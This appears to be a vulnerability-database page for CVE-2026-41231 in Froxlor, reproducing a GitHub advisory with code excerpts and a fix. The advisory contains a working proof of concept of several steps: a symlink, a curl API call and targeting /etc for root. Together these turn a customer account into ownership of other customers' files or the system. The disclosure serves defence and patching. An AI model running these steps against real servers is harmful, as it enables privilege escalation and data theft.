CVE-2026-41231
highpriority · track · 0EPSS 0.004 · 36 %ileDEEUUSEPSS · scored 2026-10-28
Froxlor is open source server administration software. Prior to version 2.3.6, `DataDump.add()` constructs the export destination path from user-supplied input without passing the `$fixed_homedir` parameter to `FileDir::makeCorrectDir()`, bypassing the symlink validation that was added to all other customer-facing path operations (likely as the fix for CVE-2023-6069). When the ExportCron runs as root, it executes `chown -R` on the resolved symlink target, allowing a customer to take ownership of arbitrary directories on the system. Version 2.3.6 contains an updated fix.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · medium–high · 6.9–7.5
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (5)
Products and version ranges known to be affected.
advisories (2)
Vendor and ecosystem advisories describing this.
- WID-SEC-W-2026-1124Froxlor: Mehrere SchwachstellenDeutsch2026-04-14csaf · cert_bundDE
Ein Angreifer kann mehrere Schwachstellen in Froxlor ausnutzen, um beliebigen Programmcode auszuführen, um Sicherheitsvorkehrungen zu umgehen, und um Dateien zu manipulieren.
- GHSA-75h4-c557-j89rFroxlor has Incomplete Symlink Validation in DataDump.add() Allows Arbitrary Directory Ownership Takeover via Cron2026-04-16ghsa · osvUS
## Summary `DataDump.add()` constructs the export destination path from user-supplied input without passing the `$fixed_homedir` parameter to `FileDir::makeCorrectDir()`, bypassing the symlink validation that was added to all other customer-facing path operations (likely as the fix for CVE-2023-6069). When the ExportCron runs as root, it executes `chown -R` on the resolved symlink target, allowing a customer to take ownership of arbitrary directories on the system. ## Details The vulnerability is an incomplete patch. After CVE-2023-6069, symlink validation was added to `FileDir::makeCorrectDir()` via a `$fixed_homedir` parameter. When provided, it walks each path component checking for symlinks that escape the customer's home directory (lines 134-157 of `lib/Froxlor/FileDir.php`). Every customer-facing API command that builds a path from user input passes this parameter: ```php // DirProtections.php:87 $path = FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path, $customer['documentroot']); // DirOptions.php:96 $path = FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path, $customer['documentroot']); // Ftps.php:178 $path = FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path, $customer['documentroot']); // SubDomains.php:585 return FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path, $customer['documentroot']); ``` But `DataDump.add()` was missed: ```php // DataDump.php:88 — NO $fixed_homedir parameter $path = FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path); ``` The path flows unvalidated into a cron task (`lib/Froxlor/Api/Commands/DataDump.php:133`): ```php Cronjob::inserttask(TaskId::CREATE_CUSTOMER_DATADUMP, $task_data); ``` When `ExportCron::handle()` runs as root, it executes at `lib/Froxlor/Cron/System/ExportCron.php:232`: ```php FileDir::safe_exec('chown -R ' . (int)$data['uid'] . ':' . (int)$data['gid'] . ' ' . escapeshellarg($data['destdir'])); ``` The `chown -R` command follows symlinks in its target argument. If `$data['destdir']` resolves through a symlink to an arbitrary directory, the attacker's UID/GID is applied recursively to that directory and all its contents. The `Validate::validate()` call on line 86 uses an empty pattern, which falls back to `/^[^\r\n\t\f\0]*$/D` — this only strips control characters and does not prevent symlink names. `makeSecurePath()` strips shell metacharacters and `..` traversal but does not check for symlinks. ## PoC Prerequisites: - `system.exportenabled` = 1 (admin setting) - Customer account with API key and FTP/SSH access ```bash # Step 1: Create a symlink inside the customer's docroot pointing to a victim directory # (customer has FTP/SSH access to their own docroot) ssh customer@server 'ln -s /var/customers/webs/victim_customer /var/customers/webs/attacker_customer/steal' # Step 2: Schedule data export via API with path pointing to the symlink curl -X POST \ -H "Content-Type: application/json" \ -d '{"header":{"apikey":"CUSTOMER_API_KEY","secret":"CUSTOMER_API_SECRET"},"body":{"command":"DataDump.add","params":{"path":"steal","dump_web":"1"}}}' \ https://panel.example.com/api.php # Expected response: 200 OK with task_data including destdir # Step 3: Wait for ExportCron to run (hourly cron as root) # The cron executes: # mkdir -p '/var/customers/webs/attacker_customer/steal/' (follows symlink, dir exists) # tar cfz ... -C /var/customers/webs/attacker_customer/ . (tars attacker's web data) # chown -R <attacker_uid>:<attacker_gid> '/var/customers/webs/attacker_customer/steal/.tmp/' # mv export.tar.gz '/var/customers/webs/attacker_customer/steal/' # chown -R <attacker_uid>:<attacker_gid> '/var/customers/webs/attacker_customer/steal/' # # The final chown resolves the symlink and recursively chowns # /var/customers/webs/victim_customer/ to the attacker's UID/GID. # Step 4: Attacker now owns all of victim's web files ssh customer@server 'ls -la /var/customers/webs/victim_customer/' # All files now owned by attacker_customer UID # For system-level escalation, the symlink can target /etc: # ln -s /etc /var/customers/webs/attacker_customer/steal # After cron: attacker owns /etc/passwd, /etc/shadow → root shell ``` ## Impact - **Horizontal privilege escalation:** A customer can take ownership of any other customer's web files, databases exports, and email data on the same server. - **Vertical privilege escalation:** By targeting system directories (e.g., `/etc`), the customer can gain read/write access to `/etc/passwd` and `/etc/shadow`, enabling creation of a root account or password modification. - **Data breach:** Full read access to all files in the targeted directory tree, including configuration files with database credentials, application secrets, and user data. - **Service disruption:** Changing ownership of system directories can break system services. The attack requires only a single API call and a symlink. The impact is delayed until the next cron run (typically hourly), making it harder to attribute. ## Recommended Fix Pass `$customer['documentroot']` as the `$fixed_homedir` parameter in `DataDump.add()`, consistent with every other API command: ```php // lib/Froxlor/Api/Commands/DataDump.php, line 88 // Before (vulnerable): $path = FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path); // After (fixed): $path = FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path, $customer['documentroot']); ``` Additionally, the `ExportCron` should use `chown -h` (no-dereference) or validate the destination path is not a symlink before executing `chown -R`: ```php // lib/Froxlor/Cron/System/ExportCron.php, line 232 // Add symlink check before chown if (is_link(rtrim($data['destdir'], '/'))) { $cronlog->logAction(FroxlorLogger::CRON_ACTION, LOG_ERR, 'Export destination is a symlink, skipping chown for security: ' . $data['destdir']); } else { FileDir::safe_exec('chown -R ' . (int)$data['uid'] . ':' . (int)$data['gid'] . ' ' . escapeshellarg($data['destdir'])); } ```
also known as (2)
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sources
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references (8)
External citations — patches, advisories, analysis.
- https://github.com/froxlor/froxlor/releases/Patchcnnvd
- https://nvd.nist.gov/vuln/detail/CVE-2026-41231cnnvd
- https://github.com/froxlor/froxlor/commit/2987b0e8806ef12b532410050ad76d13d673a87denisa_euvd
- https://github.com/froxlor/froxlor/releases/tag/2.3.6enisa_euvd
- https://github.com/froxlor/froxlor/security/advisories/GHSA-75h4-c557-j89renisa_euvd
- https://github.com/froxlor/froxlor/commit/2987b0e8806ef12b532410050ad76d13d673a87dPatchnvd
- https://github.com/froxlor/froxlor/releases/tag/2.3.6Release Notesnvd
- https://github.com/froxlor/froxlor/security/advisories/GHSA-75h4-c557-j89rExploitMitigationVendor Advisorynvd
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